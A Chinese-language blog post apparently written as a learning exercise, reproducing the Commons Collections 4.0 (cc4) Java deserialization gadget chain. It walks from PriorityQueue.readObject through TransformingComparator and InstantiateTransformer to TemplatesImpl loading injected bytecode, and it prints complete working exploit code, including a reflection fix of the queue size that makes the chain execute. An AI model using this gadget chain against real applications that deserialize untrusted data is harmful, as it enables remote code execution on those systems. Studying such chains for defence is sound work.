java 反序列化 cc4 复现

复现环境:jdk<=8u65,commonsCollections=4.0
CommonsCollections4.x版本移除了InvokerTransformer类不再继承Serializable,导致无法序列化.但是提供了TransformingComparator为CommonsCollections3.x所没有的,又带来了新的反序列化危险.
cc4的执行命令部分依然沿用cc3的TemplatesImpl,而是对ChainedTransfromer后面的部分进行了修改,需要找一个新的出口去触发transform方法.

出口链子分析

发现TransformingComparator.compare能够触发transform方法

public int compare(final I obj1, final I obj2) {  
    final O value1 = this.transformer.transform(obj1);  
    final O value2 = this.transformer.transform(obj2);  
    return this.decorated.compare(value1, value2);  
}

查找引用
image

一般来说,反序列化的出口一般是集合类或是能够容纳Object对象且继承自Serializable类的.这里是出现在了PriorityQueue类.

PriorityQueue

看这个siftDownUsingComparator方法:

private void siftDownUsingComparator(int k, E x) {  
    int half = size >>> 1;  
    while (k < half) {  
        int child = (k << 1) + 1;  
        Object c = queue[child];  
        int right = child + 1;  
        if (right < size &&  
            comparator.compare((E) c, (E) queue[right]) > 0)  
            c = queue[child = right];  
        if (comparator.compare(x, (E) c) <= 0)  
            break;  
        queue[k] = c;  
        k = child;  
    }  
    queue[k] = x;  
}

可以看到调用了comparatorcompare方法.而siftDownUsingComparatorsiftDown中被调用.

private void siftDown(int k, E x) {  
    if (comparator != null)  
        siftDownUsingComparator(k, x);  
    else  
        siftDownComparable(k, x);  
}

查找一下comparator的定义如下

private final Comparator<? super E> comparator;

然而这个siftDown还是私有方法,也没被readObject调用,依然要往上找.
image

找到了heapify方法

private void heapify() {  
    for (int i = (size >>> 1) - 1; i >= 0; i--)  
        siftDown(i, (E) queue[i]);  
}

这个方法被readObject调用了
image

看到这个readObject的逻辑较为简单,比较欣慰

private void readObject(java.io.ObjectInputStream s)  
    throws java.io.IOException, ClassNotFoundException {  
    // Read in size, and any hidden stuff  
    s.defaultReadObject();  
  
    // Read in (and discard) array length  
    s.readInt();  
  
    queue = new Object[size];  
  
    // Read in all elements.  
    for (int i = 0; i < size; i++)  
        queue[i] = s.readObject();  
  
    // Elements are guaranteed to be in "proper order", but the  
    // spec has never explained what that might be.    
    heapify();  
}

因此我们写出一个利用脚本.

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import org.apache.commons.collections4.comparators.TransformingComparator;  
import org.apache.commons.collections4.functors.InstantiateTransformer;  
import org.apache.commons.collections4.Transformer;  
import org.apache.commons.collections4.functors.ChainedTransformer;  
import org.apache.commons.collections4.functors.ConstantTransformer;  
  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.*;  
  
import org.apache.commons.collections4.Transformer;  
import org.apache.commons.collections4.functors.ChainedTransformer;  
import org.apache.commons.collections4.functors.ConstantTransformer;  
import org.apache.commons.collections4.functors.InvokerTransformer;  
import org.apache.commons.collections4.map.TransformedMap;  
  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationTargetException;  
import java.util.HashMap;  
import java.util.Map;  
  
public class Main {  
    public static void main(String[] args) throws Exception{  
        TemplatesImpl templatesimpl = new TemplatesImpl();  
  
        Class<?> clazz = templatesimpl.getClass();  
        Field field = clazz.getDeclaredField("_name");  
        field.setAccessible(true);  
        field.set(templatesimpl, "test");  
  
        Field field2 = clazz.getDeclaredField("_bytecodes");  
        field2.setAccessible(true);  
        byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  
        byte[][] codes = {code};  
        field2.set(templatesimpl, codes);  
  
        Field field3 = clazz.getDeclaredField("_tfactory");  
        field3.setAccessible(true);  
        field3.set(templatesimpl, new TransformerFactoryImpl());  
  
        ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);  
        InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  
        Transformer[] transformers = {ct, it};  
  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);  
        PriorityQueue pq = new PriorityQueue<>(transformingComparator);  
        serial(pq);  
        unserial();  
    }  
  
    public static void serial(Object obj) throws IOException {  
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  
        out.writeObject(obj);  
    }  
  
    public static void unserial() throws IOException, ClassNotFoundException {  
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  
        in.readObject();  
    }  
}

然而跑起来没有弹计算器.断点调试一下,发现下面的问题.在这里要求i>=0才能进入循环,然而此处(size >>> 1) - 1的值为-1,无法触发siftDown.
image

size至少为2才行,使用反射修改size,成功弹出计算器

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import org.apache.commons.collections4.comparators.TransformingComparator;  
import org.apache.commons.collections4.functors.InstantiateTransformer;  
import org.apache.commons.collections4.Transformer;  
import org.apache.commons.collections4.functors.ChainedTransformer;  
import org.apache.commons.collections4.functors.ConstantTransformer;  
  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.*;  
  
import org.apache.commons.collections4.Transformer;  
import org.apache.commons.collections4.functors.ChainedTransformer;  
import org.apache.commons.collections4.functors.ConstantTransformer;  
import org.apache.commons.collections4.functors.InvokerTransformer;  
import org.apache.commons.collections4.map.TransformedMap;  
  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationTargetException;  
import java.util.HashMap;  
import java.util.Map;  
  
public class Main {  
    public static void main(String[] args) throws Exception{  
        TemplatesImpl templatesimpl = new TemplatesImpl();  
  
        Class<?> clazz = templatesimpl.getClass();  
        Field field = clazz.getDeclaredField("_name");  
        field.setAccessible(true);  
        field.set(templatesimpl, "test");  
  
        Field field2 = clazz.getDeclaredField("_bytecodes");  
        field2.setAccessible(true);  
        byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  
        byte[][] codes = {code};  
        field2.set(templatesimpl, codes);  
  
        Field field3 = clazz.getDeclaredField("_tfactory");  
        field3.setAccessible(true);  
        field3.set(templatesimpl, new TransformerFactoryImpl());  
  
        ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);  
        InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  
        Transformer[] transformers = {ct, it};  
  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);  
        PriorityQueue pq = new PriorityQueue<>(transformingComparator);  
  
        Class clazz1 = pq.getClass();  
        Field field1 = clazz1.getDeclaredField("size");  
        field1.setAccessible(true);  
        field1.set(pq, 2);  
  
        serial(pq);  
        unserial();  
    }  
  
    public static void serial(Object obj) throws IOException {  
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  
        out.writeObject(obj);  
    }  
  
    public static void unserial() throws IOException, ClassNotFoundException {  
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  
        in.readObject();  
    }  
}

这里我看的教程因为是使用add去添加元素去赋值从而修改size,导致出现了一串问题.而我直接反射修改size就没有问题.
总结出反序列化链子如下

Gadget chain:
PriorityQueue.readObject()
    PriorityQueue.heapify()  
        PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
                TransformingComparator.compare()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InstantiateTransformer.transform()
                            TemplatesImpl.newTransformer()
                                TemplatesImpl.getTransletInstance()
                                    TemplatesImpl.defineTransletClasses()
                                        TemplatesImpl.defineClass()
posted @ 2024-11-14 20:08  meraklbz  阅读(9)  评论(0编辑  收藏  举报